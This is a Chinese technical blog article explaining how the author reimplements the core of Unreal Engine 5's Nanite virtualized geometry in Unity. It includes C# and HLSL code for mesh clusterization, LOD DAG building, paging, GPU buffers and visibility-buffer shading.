2026年1月

【USparkle专栏】如果你深怀绝技,爱“搞点研究”,乐于分享也博采众长,我们期待你的加入,让智慧的火花碰撞交织,让知识的传递生生不息!


一、前序

1. 介绍
Nanite是UE5中虚拟几何体(Virtualized Geometry System)的系统,主要用途是高效率渲染的高面数模型。Nanite会为模型自动生成LOD结构,与传统LOD不同,Nanite的LOD不再是每个模型的,而是精细到模型中的局部区域,艺术家不需再为制作或处理LOD烦恼。并且还能享有GPU Driven的高效剔除,单个绘制调用的好处。

2. 技术要点
Nanite技术结合了多种技术做到了高效渲染:

  1. Cluster Rendering:由Cluster组织三角形,可以享有更高效的剔除。
  2. Auto LOD:通过Graph Partitioning技术划分和简化模型构建LOD,并且把数据组织成BVH结构在Runtime时候可以高效地并行选择LOD,通过这种方式构建的LOD过渡非常丝滑。
  3. GPU Driven Pipeline:由GPU驱动的绘制,减少了CPU的性能开销。
  4. Occlusion Culling:更细颗粒的遮挡剔除,用于剔除不可见的三角形。
  5. Hardware/Software Rasterization:由于小三角形对于硬件光栅化非常不友好,所以针对这些三角形用Compute Shader执行软光栅提高效率。
  6. Visibility Buffer:利用Visibility Buffer减少Overdraw,进一步提高GPU效率。
  7. Streaming:加载只看到的相关数据,减少几何体对内存的压力。

3. 本文效果
由于Nanite系统非常庞大和有非常多的工程细节要处理,所以本文会简化和略过一些东西,仅实现核心部分,而且会与有UE5的版本有点出入。

下图是本文实现的效果,每个色块是一个三角形,可以看出LOD切换和相机剔除都非常丝滑。

色块表示三角面

色块表示Cluster

二、实现

1. Clusterize
第一步,在离线阶段处理,将复杂的超高精度网格模型高效且合理地分割成更小、更易于管理的簇(Cluster),每个Cluster最多128个三角形。这种划分不是简单的切割,而是旨在最小化簇与簇之间连接的边数(即切割大小),同时保持每个簇的大小大致均衡。

UE使用的Partition是Metis库:
https://github.com/KarypisLab/METIS

实现代码可以参考UE5的源码部分:
UnrealEngine-release\Engine\Source\Developer\NaniteBuilder\Private\NaniteBuilder.cpp

本文使用meshoptimizer实现Mesh的切分Cluster和Partition功能,这个库功能还有优化Over Draw,Shadow Depth Index等功能:
https://github.com/zeux/meshoptimizer

我们新建一个C++导出DLL的工程,封装几个主要函数让Unity可以使用。其实代码量不多,翻译成C#直接用也可以。

分别是:

  • meshopt_buildMeshlets(构建Cluster)
  • meshopt_partitionClusters(Cluster划分Partition)
  • meshopt_buildMeshletsBound(计算Cluster数量)
  • meshopt_computeSphereBounds(合并BoundsSphere)

在C#中引用这些函数:

unsafe static List<Cluster> clusterize(Vector3[] vertices, int[] indices)
    {
        constint max_vertices = 192; // TODO: depends on kClusterSize, also may want to dial down for mesh shaders
        constint max_triangles = kClusterSize; //128
        constint min_triangles = (kClusterSize / 3) & ~3;
        constfloat split_factor = 2.0f;
        constfloat fill_weight = 0.75f;
        int max_meshlets = BuildMeshletsBound(indices.Length, max_vertices, max_triangles);//meshopt_buildMeshletsBound 
        var meshlets = new Meshlet[max_meshlets * 2];
        var meshlet_vertices = newint[max_meshlets * max_vertices];
        var meshlet_triangles = newbyte[max_meshlets * max_triangles * 3];
        var meshlet_count = BuildMeshletFlex(meshlets, meshlet_vertices, meshlet_triangles, indices, indices.Length, vertices, vertices.Length, sizeof(float) * 3, max_vertices, min_triangles, max_triangles, 0.0f,
            split_factor);//meshopt_buildMeshlets 
        List<Cluster> clusters = new List<Cluster>(meshlet_count);
        for (int i = 0; i < meshlet_count; i++)
        {
            ref Meshlet meshlet = ref meshlets[i];
            fixed (int* ptr = &meshlet_vertices[meshlet.vertex_offset])
            {
                fixed (byte* ptr2 = &meshlet_triangles[meshlet.triangle_offset])
                {
                    OptimizeMeshlet(ptr, ptr2, (int)meshlet.triangle_count, (int)meshlet.vertex_count);
                }
            }

            Cluster cluster = new Cluster();
            cluster.indices = newint[meshlet.triangle_count * 3];
            for (int j = 0; j < meshlet.triangle_count * 3; ++j)
                cluster.indices[j] =
                    meshlet_vertices[meshlet.vertex_offset + meshlet_triangles[meshlet.triangle_offset + j]];

            cluster.parent.error = float.MaxValue;
            clusters.Add(cluster);
        }

        return clusters;
    }

然后可以直接通过meshopt_buildMeshlets函数,获得每个cluster的indexs。

2. Build DAG
有了这些Cluster,就可以构建“LOD”了,只需要循环这个操作:打组->合并->减面->clusterize。如下图:

这个过程感觉就像Mipmap一样,一层一层往上合并和简化,并记录一个Err误差值和Bounds用于运行时LOD选择用。而这些合并的的节点就叫做Cluster Group。最后得出一个DAG(有向无环图,Directed Acyclic Graph)的结构。

public struct ClusterGroup
    {
        public List<int> Children;
        public Vector3 Bounds;
        publicfloat radius;
        public Vector3 LODBounds;
        publicfloat MinLODError;
        publicfloat MaxParentLODError;
        publicint MipLevel;
    } 

publicclassNaniteSubMesh
    {
        public List<ClusterGroup> clusterGroupList;
        public List<Cluster> clusterList;
        publicint maxMipLevel;
    }

static NaniteSubMesh Nanite(Vector3[] vertices,Vector3[] normals, int[] indices)
    {
        NaniteSubMesh res = new NaniteSubMesh();
        List<ClusterGroup> clusterGroupList = new List<ClusterGroup>();
        var clusters = clusterize(vertices, indices);
        res.clusterList = clusters;
        res.clusterGroupList = clusterGroupList;
        res.maxMipLevel = 0;
        for (int i = 0; i < clusters.Count; ++i)
        {
            var c = clusters[i];
            c.self = Bounds(vertices, clusters[i].indices, 0f);
            c.mip = 0;
            clusters[i] = c;
        }

        List<int> pending = new List<int>(clusters.Count);
        int[] remap = newint[vertices.Length];
        for (int i = 0; i < remap.Length; ++i)
            remap[i] = i;
        for (int i = 0; i < clusters.Count; ++i)
            pending.Add(i);

        int curMip = 1;
        byte[] locks = newbyte[vertices.Length];
        while (pending.Count > 1)
        {
            List<List<int>> groups = partition(clusters, pending, remap, vertices);
            if (kUseLocks)
                lockBoundary(locks, groups, clusters, remap);
            pending.Clear();
            List<int> retry = new List<int>();
            int triangles = 0;
            int stuck_triangles = 0;
            for (int i = 0; i < groups.Count; ++i)
            {
                var curGroupClusters = groups[i];
                if (curGroupClusters.Count == 0)
                {
                    continue; // metis shortcut
                }

                List<int> merged = new List<int>(vertices.Length);
                for (int j = 0; j < curGroupClusters.Count; ++j)
                {
                    merged.AddRange(clusters[curGroupClusters[j]].indices);
                }
                LODBounds groupb = boundsMerge(clusters, curGroupClusters);
                ClusterGroup clusterGroup = new ClusterGroup();
                clusterGroup.Bounds = groupb.center;
                clusterGroup.MaxParentLODError = groupb.error;
                clusterGroup.radius = groupb.radius;
                clusterGroup.Children = new List<int>(merged.Count);
                clusterGroup.MipLevel = curMip - 1;
                for (int j = 0; j < curGroupClusters.Count; ++j)
                {
                    clusterGroup.Children.Add(curGroupClusters[j]);
                }
                clusterGroupList.Add(clusterGroup);

                // aim to reduce group size in half
                int target_size = (merged.Count / 3) / 2 * 3;
                float error = 0f;
                var simplified = simplify(vertices, normals, merged.ToArray(), kUseLocks ? locks : null, target_size,
                    ref error);
                if (simplified.Count > merged.Count * kSimplifyThreshold)
                {
                    stuck_triangles += merged.Count / 3;
                    for (int j = 0; j < curGroupClusters.Count; ++j)
                    {
                        retry.Add(curGroupClusters[j]);
                    }

                    continue; // simplification is stuck; abandon the merge
                }

                // enforce bounds and error monotonicity
                // note: it is incorrect to use the precise bounds of the merged or simplified mesh, because this may violate monotonicity

                var split = clusterize(vertices, simplified.ToArray());
                groupb.error += error; // this may overestimate the error, but we are starting from the simplified mesh so this is a little more correct
                // update parent bounds and error for all clusters in the group
                // note that all clusters in the group need to switch simultaneously so they have the same bounds
                for (int j = 0; j < curGroupClusters.Count; ++j)
                {
                    int clusterIndex = curGroupClusters[j];
                    var t = clusters[clusterIndex];
                    t.parent = groupb;
                    clusters[clusterIndex] = t;
                }

                for (int j = 0; j < split.Count; ++j)
                {
                    var sj = split[j];
                    sj.self = groupb;
                    sj.mip = curMip;
                    split[j] = sj;
                    clusters.Add(sj); // std::move
                    pending.Add(clusters.Count - 1);
                    triangles += sj.indices.Length / 3;
                }
            }

            curMip++;
        }

        if (pending.Count == 1)
        {
            var c = clusters[pending[0]];
            ClusterGroup clusterGroup = new ClusterGroup();
            clusterGroup.Bounds = c.self.center;
            clusterGroup.MaxParentLODError = c.self.error;
            clusterGroup.radius = c.self.radius;
            clusterGroup.Children = new List<int>(1);
            clusterGroup.MipLevel = curMip - 1;
            clusterGroup.Children.Add(pending[0]);
            clusterGroupList.Add(clusterGroup);
        }

        res.maxMipLevel = curMip - 1;
        return res;
    }

static void lockBoundary(byte[] locks, List<List<int>> groups, List<Cluster> clusters, int[] remap)
    {
        // for each remapped vertex, keep track of index of the group it's in (or -2 if it's in multiple groups)
        int[] groupmap = newint[locks.Length];
        for (int i = 0; i < groupmap.Length; ++i)
            groupmap[i] = -1;

        for (int i = 0; i < groups.Count; ++i)
        {
            var c = groups[i];
            for (int j = 0; j < c.Count; ++j)
            {
                var indices = clusters[c[j]].indices;
                for (int k = 0; k < indices.Length; ++k)
                {
                    var v = indices[k];
                    var r = remap[v];

                    if (groupmap[r] == -1 || groupmap[r] == i)
                        groupmap[r] = i;
                    else
                        groupmap[r] = -2;
                }
            }
        }

        // note: we need to consistently lock all vertices with the same position to avoid holes
        for (int i = 0; i < locks.Length; ++i)
        {
            var r = remap[i];
            locks[i] = (byte)((groupmap[r] == -2) ? 1 : 0);
        }
    }

这样我们得到各级Mip的一系列Clusters。

3. 加速结构
即使把三角形划分成Clusters数量也太多,使用Compute Shader来做并行结算效率也不高,于是Nanite就使用了BVH来作为ClusterGroup的加速结构,然后配合Persistent Threads做查找过滤。

Persistent Threads遍历BVH部分,有兴趣可以参考UE5源码:
Shaders\Private\Nanite\NaniteClusterCulling.usf

UE5中也有不使用Persistent Threads的流程,应该说一般默认就是不使用的。

UE5源码部分

个人认为Persistent Threads方案在GPU遍历这种BVH结构有点暴力和重度,所以简化了一下,把多个Cluster合并成一个剔除单元(Part),先并行对Part做剔除,再对Part里的Cluster去做并行剔除,两层结构来加速作为Persistent Threads的一个简单替代方案。

然后把多个Part组织成Page用于分块加载。材质处理细节也不同,UE5的材质是每个Cluster会记录MaterialRange,简单起见这里实现是每个SubMesh会去构建独立的Clusters。

代码如下:

 [Serializable]
    publicstruct NaniteCluster
    {
        publicint indiceIndex;
        publicint indiceCount;
        publicfloat selfErrer;
        publicfloat parentErrer;
        public Vector4 selfSphere;
        public Vector4 parentSphere;
        publicint subMeshID;
        publicint vertexOffset;
    };
    
    [Serializable]
    publicstruct NaniteClusterGroup
    {
        publicint ClusterStart;
        publicint ClusterCount;
        public Vector3 Bounds;
        publicfloat radius;
        public Vector3 LODBounds;
        publicfloat MinLODError;
        publicfloat MaxParentLODError;
        publicint MipLevel;
    }

    [Serializable]
    publicstruct NaniteMeshPart
    {
        publicint ClusterStart;
        publicint ClusterCount;
        public Vector4 selfSphere;
        publicfloat MaxParentLODError;
    }
public classNaniteSubMesh
    {
        public List<ClusterGroup> clusterGroupList;
        public List<Cluster> clusterList;
        publicint maxMipLevel;
    }
publicclassBuildPart
    {
        public List<int> clusterList;
        publicint mip;
        publicint subMesh;

    }
public static void BuildNaniteMesh(Mesh mesh)
    {
          var vertices = mesh.vertices;
        var normals = mesh.normals;
        var uvs = mesh.uv;

        int subMeshCount = mesh.subMeshCount;
        int totalClusterCount = 0;
        int totalIndexCount = 0;
        List<NaniteSubMesh> subMeshList = new List<NaniteSubMesh>();
        for (int i = 0; i < subMeshCount; i++)
        {
            var triangles = mesh.GetTriangles(i);
            var subMesh = Nanite(vertices,normals,triangles);
            subMeshList.Add(subMesh);
            totalClusterCount += subMesh.clusterList.Count;
        }

        List<BuildPart> buildPartsList = new List<BuildPart>(totalClusterCount);
        int MAX_PART_PERPAGE = 128;
        int MAX_CLUSTER_PERPART = 8;

        for (int subMeshIndex = 0; subMeshIndex < subMeshList.Count; subMeshIndex++)
        {
            var subMesh = subMeshList[subMeshIndex];
            List<Cluster> clusters = subMesh.clusterList;
            var groupsList = subMesh.clusterGroupList;
            BuildPart buildPart = null;
            for (int i = 0; i < groupsList.Count; i++)
            {
                var gIndex = i; // sortGroups[i].OldIndex;
                var g = groupsList[gIndex];
                var childs = g.Children;
                for (int c = 0; c < childs.Count; c++)
                {
                    int cIndex = childs[c];
                    int cMip = clusters[cIndex].mip;
                    totalIndexCount += clusters[cIndex].indices.Length;
                    //new Part
                    if (buildPart == null || buildPart.clusterList.Count >= MAX_CLUSTER_PERPART ||
                        buildPart.mip != cMip)
                    {
                        buildPart = new BuildPart();
                        buildPart.clusterList = new List<int>(MAX_CLUSTER_PERPART);
                        buildPart.mip = cMip;
                        buildPart.subMesh = subMeshIndex;
                        buildPartsList.Add(buildPart);
                    }

                    buildPart.clusterList.Add(cIndex);
                }
            }
        }

        int buildPartCount = buildPartsList.Count;
        NaniteMeshPage[] pageArray = new NaniteMeshPage[(buildPartCount+(MAX_PART_PERPAGE-1))/MAX_PART_PERPAGE];//ceil
        List<int> tempIndiceList = new List<int>(totalIndexCount);
        List<int> mipLists = new List<int>(totalClusterCount);
        int partIndex = 0;
        for (int i = 0; i < pageArray.Length; i++)
        {
            //create new page
            var p = ScriptableObject.CreateInstance<NaniteMeshPage>();
            pageArray[i] = p;
            tempIndiceList.Clear();
            int partCount =  (i == (pageArray.Length -1)) ? (buildPartCount % MAX_PART_PERPAGE) : MAX_PART_PERPAGE;
            p.parts = new NaniteScene.NaniteMeshPart[partCount];
            List<NaniteScene.NaniteCluster> pageClusters = new List<NaniteScene.NaniteCluster>(partCount * MAX_CLUSTER_PERPART);
            for (int j = 0; j < partCount; j++)
            {
                var buildPart = buildPartsList[partIndex];
                var buildPartCluster = buildPart.clusterList;
                //create part
                var part = new NaniteScene.NaniteMeshPart();
                part.ClusterStart = pageClusters.Count; //local index
                part.ClusterCount = buildPartCluster.Count;
                int subMeshID = buildPart.subMesh;
                float maxParentErr = 0f;
                var clusters = subMeshList[subMeshID].clusterList;
                for (int c = 0; c < buildPartCluster.Count; c++)
                {
                    var cluster = clusters[buildPartCluster[c]];
                    mipLists.Add(cluster.mip); 
                    //create Cluster
                    NaniteScene.NaniteCluster naniteCluster = new NaniteScene.NaniteCluster();
                    naniteCluster.indiceIndex = tempIndiceList.Count;
                    naniteCluster.indiceCount = cluster.indices.Length;
                    naniteCluster.parentErrer = cluster.parent.error;
                    naniteCluster.parentSphere = new Vector4(cluster.parent.center.x,cluster.parent.center.y,cluster.parent.center.z, cluster.parent.radius);
                    naniteCluster.selfErrer = cluster.self.error;
                    naniteCluster.selfSphere = new Vector4(cluster.self.center.x,cluster.self.center.y,cluster.self.center.z, cluster.self.radius);
                    naniteCluster.subMeshID = subMeshID;
                    tempIndiceList.AddRange(cluster.indices);
                    maxParentErr = Mathf.Max(naniteCluster.parentErrer, maxParentErr);
                    pageClusters.Add(naniteCluster);
                }

                LODBounds partBounds =  boundsMerge(clusters, buildPartCluster,true);
                part.selfSphere = new Vector4(partBounds.center.x,partBounds.center.y,partBounds.center.z,partBounds.radius);
                part.MaxParentLODError = maxParentErr;
                p.parts[j] = part;
                partIndex++;
            }
            p.clusterArray = pageClusters.ToArray();
            p.indiceArray = tempIndiceList.ToArray();
            p.clusterMip = mipLists.ToArray();
        }

        string fileName = AssetDatabase.GetAssetPath(mesh);
        string extension = Path.GetExtension(fileName);
        fileName = fileName.Replace(extension, "");
        //Build page
        int totalVerts = 0;
        for (int i = 0; i < pageArray.Length; i++)
        {
            var page = pageArray[i];
            var clusterArray = page.clusterArray;
            var indiceArray = page.indiceArray;
            Dictionary<int,int> indicesMap = new Dictionary<int,int>();
            List<Vector3> tempVerts = new List<Vector3>(vertices.Length);
            List<Vector3> tempNormals = new List<Vector3>(vertices.Length);
            List<Vector2> tempUVs = new List<Vector2>(vertices.Length);
            List<int> newIndices = new List<int>(totalIndexCount);
            for (int c = 0; c < clusterArray.Length; c++)
            {
                refvar cluster = ref clusterArray[c];
                var indexStart = cluster.indiceIndex;
                var indexEnd = indexStart+cluster.indiceCount;
                for (int index = indexStart; index < indexEnd; index++)
                {
                    int vertIndex = indiceArray[index];
                    int newIndex;
                    if (!indicesMap.TryGetValue(vertIndex,out newIndex))
                    {
                        newIndex = newIndices.Count;
                        indicesMap.Add(vertIndex, newIndex);
                        tempVerts.Add(vertices[vertIndex]);
                        tempNormals.Add(normals[vertIndex]);
                        if (uvs.Length == 0)
                        {
                            tempUVs.Add(Vector2.zero);
                        }
                        else
                        {
                            tempUVs.Add(uvs[vertIndex]);
                        }

                        newIndices.Add(newIndex);
                    }

                    indiceArray[index] = newIndex;
                }
            }

            page.vertexStride = 5;//pos3 + uv2
            page.vertexData = newfloat[tempVerts.Count * page.vertexStride];
            page.vertexCount = tempVerts.Count;
            for (int v = 0; v < tempVerts.Count; v++)
            {
                int vertexIndex = v * page.vertexStride;
                page.vertexData[vertexIndex + 0] = tempVerts[v].x;
                page.vertexData[vertexIndex + 1] = tempVerts[v].y;
                page.vertexData[vertexIndex + 2] = tempVerts[v].z;
                page.vertexData[vertexIndex + 3] = tempUVs[v].x;
                page.vertexData[vertexIndex + 4] = tempUVs[v].y;
            }
            totalVerts +=tempVerts.Count;
            string newPath = fileName + "_p"+i +".asset";
            AssetDatabase.CreateAsset(page, newPath);
        }
        AssetDatabase.Refresh();

        Debug.Log("mesh Vertx:"+vertices.Length +" mesh Nanite:"+ totalVerts + " cluster:"+totalClusterCount + "part:"+ buildPartCount +" page:"+pageArray.Length);
        NaniteMesh naniteMesh = ScriptableObject.CreateInstance<NaniteMesh>();
        {
            naniteMesh.subMeshCount = subMeshCount;
            naniteMesh.pageArray = new NaniteMeshPage[pageArray.Length];
            for (int i = 0; i < pageArray.Length; i++)
            {
                string newPath = fileName + "_p" + i + ".asset";
                naniteMesh.pageArray[i] = AssetDatabase.LoadAssetAtPath<NaniteMeshPage>(newPath);
            }
        }

        var meshBound = mesh.bounds;
        naniteMesh.boundingSphere = meshBound.center;
        naniteMesh.boundingSphere.w = meshBound.extents.magnitude;
        string meshExt = "_mesh.asset";
        AssetDatabase.CreateAsset(naniteMesh, fileName + meshExt);
        AssetDatabase.Refresh();
    }

到这里离线部分基本结束,可以得到一个Nanite的资源。当然UE5原文还做了很多操作,如BVH、Encode、编码、压缩、Page的划分、顶点属性优化等,个人认为这些都属于工程细节。

4. 运行时资源
来到Runtime部分,我们需要把这个Nanite Mesh加载上来,方便起见,这里直接引用一下资源在脚本上,偷懒省略加载部分。

把资源、Object、材质信息整合起来,传到GPU的Buffer中。这里做法很不正式还是偷懒来处理。当然也可以用Compute Shader来更新Page数据到GPUBuffer中。

    public static List<NaniteRenderer> renderers = new List<NaniteRenderer>();
    privatestatic SceneObject[] gpuObjects = new SceneObject[2048];
    //cluster -> part -> page
    publicstruct SceneObject
    {
        publicint naniteMeshID;
        public Matrix4x4 localToWorldMatrix;
        publicint materialIDOffset;
    }
    publicstruct NaniteRes
    {
        public Vector4 boundingSphere;
        publicint partIndex;
        publicint partCount;
    }

unsafe static void UpdateRenderList()
    {
         if(renderers.Count == 0)
            return;
        //object update
        if (renderers.Count > gpuObjects.Length)
        {
            gpuObjects = new SceneObject[Mathf.NextPowerOfTwo(renderers.Count)];
        }

        objectCount = 0;
        maxPartCount = 0;
        naniteMeshes.Clear();
        materialList.Clear();
        List<int> materialIndices = new List<int>();
        for (int i = 0; i < renderers.Count; i++)
        {
           var renderer = renderers[i];
           var nMesh = renderer.naniteMesh;
            foreach (var p in nMesh.pageArray)
           {
               maxPartCount += p.parts.Length;
               maxClusterCount += p.clusterArray.Length;
           }

           SceneObject obj = new SceneObject();
           obj.localToWorldMatrix = renderer.transform.localToWorldMatrix;
            //mesh index
           int index = naniteMeshes.IndexOf(nMesh);
           if (index < 0)
           {
               index = naniteMeshes.Count;
               naniteMeshes.Add(nMesh);
           }
           obj.naniteMeshID = index;
           //mat indexs
           obj.materialIDOffset = materialIndices.Count;
           for (int m = 0; m < renderer.materials.Length; m++)
           {
               var mat = renderer.materials[m];
               int matIndex = materialList.IndexOf(mat);
               if (matIndex < 0)
               {
                   matIndex = materialList.Count;
                   materialList.Add(mat);
               }
               materialIndices.Add(matIndex);
           }
           gpuObjects[i] = obj;
           renderer.transformChanged = false;
           objectCount++;
        }

        if(candidateClusterBuffer!=null)
            candidateClusterBuffer.Dispose();
        candidateClusterBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Structured, maxClusterCount *2, sizeof(int));

        if(visibleClusterBuffer != null)
            visibleClusterBuffer.Dispose();
        visibleClusterBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Structured,maxClusterCount *2, sizeof(int));

        if (objectsBuffer != null)
            objectsBuffer.Dispose();
        objectsBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Structured, objectCount, sizeof(SceneObject));
        objectsBuffer.SetData(gpuObjects,0,0,objectCount);

        if(visObjectsBuffer !=null)
            visObjectsBuffer.Dispose();
        visObjectsBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Structured,objectCount, sizeof(int));

        int vertCount = 0;
        List<NaniteCluster> tempClusters = new List<NaniteCluster>(2048);
        List<NaniteMeshPart> tempParts = new List<NaniteMeshPart>(2048);
        List<NaniteRes> naniteRes = new List<NaniteRes>(2048);
        List<int> tempIndices = new List<int>(2048 * 100);
        List<float> vertexDataList = new List<float>();
        //load page
        for (int nID = 0; nID < naniteMeshes.Count; nID++)
        {
            NaniteRes res = new NaniteRes();
            var nMesh = naniteMeshes[nID];
            //填充到GPU
            var pages = nMesh.pageArray;
            res.partIndex = tempParts.Count;
            res.partCount = 0;
            res.boundingSphere = nMesh.boundingSphere;
            for (int p = 0; p < pages.Length; p++)
            {
                var page = pages[p];
                var parts = page.parts;
                int vertOffset = vertCount;
                int indicesOffset = tempIndices.Count;
                int clusterOffset = tempClusters.Count;

                //add all cluster
                var clusters = page.clusterArray;
                for (int c = 0; c < clusters.Length; c++)
                {
                    var cluster = clusters[c];
                    cluster.indiceIndex += indicesOffset;
                    cluster.vertexOffset = vertOffset;
                    tempClusters.Add(cluster);
                }

                //add all part
                for (int partIndex = 0; partIndex < parts.Length; partIndex++)
                {
                    var part = parts[partIndex];
                    part.ClusterStart += clusterOffset;
                    tempParts.Add(part);
                    res.partCount++;
                }

                //add page data
                tempIndices.AddRange( page.indiceArray);
                vertexDataList.AddRange(page.vertexData);
                vertCount += page.vertexCount;
            }
            naniteRes.Add(res);
        }

        //TODO GPU Update Buffer
        if (naniteResBuffer != null)
            naniteResBuffer.Dispose();
        naniteResBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Structured, naniteRes.Count, sizeof(NaniteRes));
        naniteResBuffer.SetData(naniteRes);

        if (partsBuffer != null)
            partsBuffer.Dispose();
        partsBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Structured,tempParts.Count, sizeof(NaniteMeshPart));
        partsBuffer.SetData(tempParts);

        if (clusterBuffer != null)
            clusterBuffer.Dispose();
        clusterBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Structured, tempClusters.Count, sizeof(NaniteCluster));
        clusterBuffer.SetData(tempClusters);


        if (indiceseBuffer != null)
            indiceseBuffer.Dispose();
        indiceseBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Raw, tempIndices.Count, sizeof(int));
        indiceseBuffer.SetData(tempIndices);

        if(materialIndexBuffer!=null)
            materialIndexBuffer.Dispose();
        materialIndexBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Structured,materialIndices.Count, sizeof(int));
        materialIndexBuffer.SetData(materialIndices);

        if(vertexDataBuffer!=null)
            vertexDataBuffer.Dispose();
        vertexDataBuffer = new GraphicsBuffer(GraphicsBuffer.Target.Raw, vertexDataList.Count,sizeof(float));
        vertexDataBuffer.SetData(vertexDataList);
    }

    //input object ID => 
    public unsafe static void UpdateNaniteScene()
    {
        if (renderListDirty)
        {
            UpdateRenderList();
           // UpdateRenderListGPU();
            renderListDirty = false;
        }

       for (int i = 0; i < renderers.Count; i++)
       {
           var renderer = renderers[i];
           if (renderer.transformChanged)
           {
               gpuObjects[i].localToWorldMatrix = renderer.transform.localToWorldMatrix;
               renderer.transformChanged = false;
               transformDirty = true;
           }
       }

       if (objectsBuffer != null && transformDirty)
           objectsBuffer.SetData(gpuObjects, 0, 0, objectCount);
    }

5. 剔除
这时离线时候已经把Clusters扁平化到数组中了,这些Clusters是可以并行进行剔除的,巧妙之处是他记录了父级的误差和自己的误差,当我们传入误差系数时候就可以独立地判断自己是否被剔除,而和上下级无关。

先从CPU发起剔除Compute Shader的Dispatch。这里因为组织数据时候就知道了所有Object最大的Parts/Cluster数量,所以直接用这个数去Dispatch了。

Objects剔除:

根据Object找到NaniteMesh的Parts进行Culling:

ClustersCulling:

6. 软光栅
略。

7. VisibilityBuffer
VBuffer主要用来减少Overdraw,着色器直接输出InstanceID、ClusterID、材质ID。然后用这个VBuffer来计算顶点数据来着色。

这个得益于GPUDriven的好处,一个DrawProceduralIndirect就可以绘制所有物体了:
一次DrawProceduralIndirect绘制多个物体

VBuffer存哪些属性,多少位,都是工程细节这里就不考究了。

8. 着色
有了VBuffer就需要逐材质进行绘制,原文是材质ID分Tile组合IndirectDraw画Quad的思想。

需要注意一下这里VBuffer通过三角重心插值求出的UV是不能直接采样贴图的,因为DDXY不对,所以需求重新计算,计算的代码放下面。并且利用SampleGrad(samplerName, coord2, dpdx, dpdy)来采样。

uint MurmurMix(uint Hash)
{
    Hash ^= Hash >> 16;
    Hash *= 0x85ebca6b;
    Hash ^= Hash >> 13;
    Hash *= 0xc2b2ae35;
    Hash ^= Hash >> 16;
    return Hash;
}
float3 IntToColor(uint Index)
{
    uint Hash = MurmurMix(Index);

    float3 Color = float3
    (
        (Hash >> 0) & 255,
        (Hash >> 8) & 255,
        (Hash >> 16) & 255
    );

    return Color * (1.0f / 255.0f);
}

struct FBarycentrics
{
    float3 Value;
    float3 Value_dx;
    float3 Value_dy;
};

float2 Lerp(float2 Value0, float2 Value1, float2 Value2, FBarycentrics Barycentrics, out float2 dxy)
{
    float2 Value = Value0 * Barycentrics.Value.x + Value1 * Barycentrics.Value.y + Value2 * Barycentrics.Value.z;
    dxy.x = Value0 * Barycentrics.Value_dx.x + Value1 * Barycentrics.Value_dx.y + Value2 * Barycentrics.Value_dx.z;
    dxy.y = Value0 * Barycentrics.Value_dy.x + Value1 * Barycentrics.Value_dy.y + Value2 * Barycentrics.Value_dy.z;

    return Value;
}

/** Calculates perspective correct barycentric coordinates and partial derivatives using screen derivatives. */
FBarycentrics CalculateTriangleBarycentrics(float2 PixelClip, float4 PointClip0, float4 PointClip1,
                                            float4 PointClip2, float2 ViewInvSize)
{
    FBarycentrics Barycentrics;
    PixelClip.y = 1 - PixelClip.y;
    PixelClip.xy = PixelClip.xy * 2 - 1;
    const float3 RcpW = rcp(float3(PointClip0.w, PointClip1.w, PointClip2.w));
    const float3 Pos0 = PointClip0.xyz * RcpW.x;
    const float3 Pos1 = PointClip1.xyz * RcpW.y;
    const float3 Pos2 = PointClip2.xyz * RcpW.z;

    const float3 Pos120X = float3(Pos1.x, Pos2.x, Pos0.x);
    const float3 Pos120Y = float3(Pos1.y, Pos2.y, Pos0.y);
    const float3 Pos201X = float3(Pos2.x, Pos0.x, Pos1.x);
    const float3 Pos201Y = float3(Pos2.y, Pos0.y, Pos1.y);

    const float3 C_dx = Pos201Y - Pos120Y;
    const float3 C_dy = Pos120X - Pos201X;

    const float3 C = C_dx * (PixelClip.x - Pos120X) + C_dy * (PixelClip.y - Pos120Y);
    // Evaluate the 3 edge functions
    const float3 G = C * RcpW;

    constfloat H = dot(C, RcpW);
    constfloat RcpH = rcp(H);

    // UVW = C * RcpW / dot(C, RcpW)
    Barycentrics.Value = G * RcpH;

    // Texture coordinate derivatives:
    // UVW = G / H where G = C * RcpW and H = dot(C, RcpW)
    // UVW' = (G' * H - G * H') / H^2
    // float2 TexCoordDX = UVW_dx.y * TexCoord10 + UVW_dx.z * TexCoord20;
    // float2 TexCoordDY = UVW_dy.y * TexCoord10 + UVW_dy.z * TexCoord20;
    const float3 G_dx = C_dx * RcpW;
    const float3 G_dy = C_dy * RcpW;

    constfloat H_dx = dot(C_dx, RcpW);
    constfloat H_dy = dot(C_dy, RcpW);

    Barycentrics.Value_dx = (G_dx * H - G * H_dx) * (RcpH * RcpH) * (2.0f * ViewInvSize.x);
    Barycentrics.Value_dy = (G_dy * H - G * H_dy) * (RcpH * RcpH) * (-2.0f * ViewInvSize.y);

    return Barycentrics;
}

到这里其实基本完成了,利用IntToColor函数,可以对ClustersID或者IndexID对三角形或Cluster进行可视化。

三、总结

不得不说Nanite技术真是太强大了,但是也有很多工程细节需要处理,本文只是实现了其中一小部分。整体像是处理图片的Mipmap过程。

参考

22.GPU驱动的几何管线-nanite (Part 2) | GAMES104-现代游戏引擎:从入门到实践

[UnrealCircle]Nanite技术简介 | Epic Games China 王祢

Karis_Nanite_SIGGRAPH_Advances_2021_final.pdf

Nanite-GPU-Driven

UE5 Nanite源码入口:
Engine\Source\Runtime\Renderer\Private\Nanite\NaniteCullRaster.cpp (渲染流程入口)
Engine\Shaders\Private\Nanite\ (GPU的Shader入口)
Engine\Source\Developer\NaniteBuilder\Private\ (离线生成Nanite资源入口)


这是侑虎科技第1939篇文章,感谢作者傻头傻脑亚古兽供稿。欢迎转发分享,未经作者授权请勿转载。如果您有任何独到的见解或者发现也欢迎联系我们,一起探讨。(QQ群:793972859)

作者主页:https://www.zhihu.com/people/tian-cai-ya-gu-shou

再次感谢傻头傻脑亚古兽的分享,如果您有任何独到的见解或者发现也欢迎联系我们,一起探讨。(QQ群:793972859)

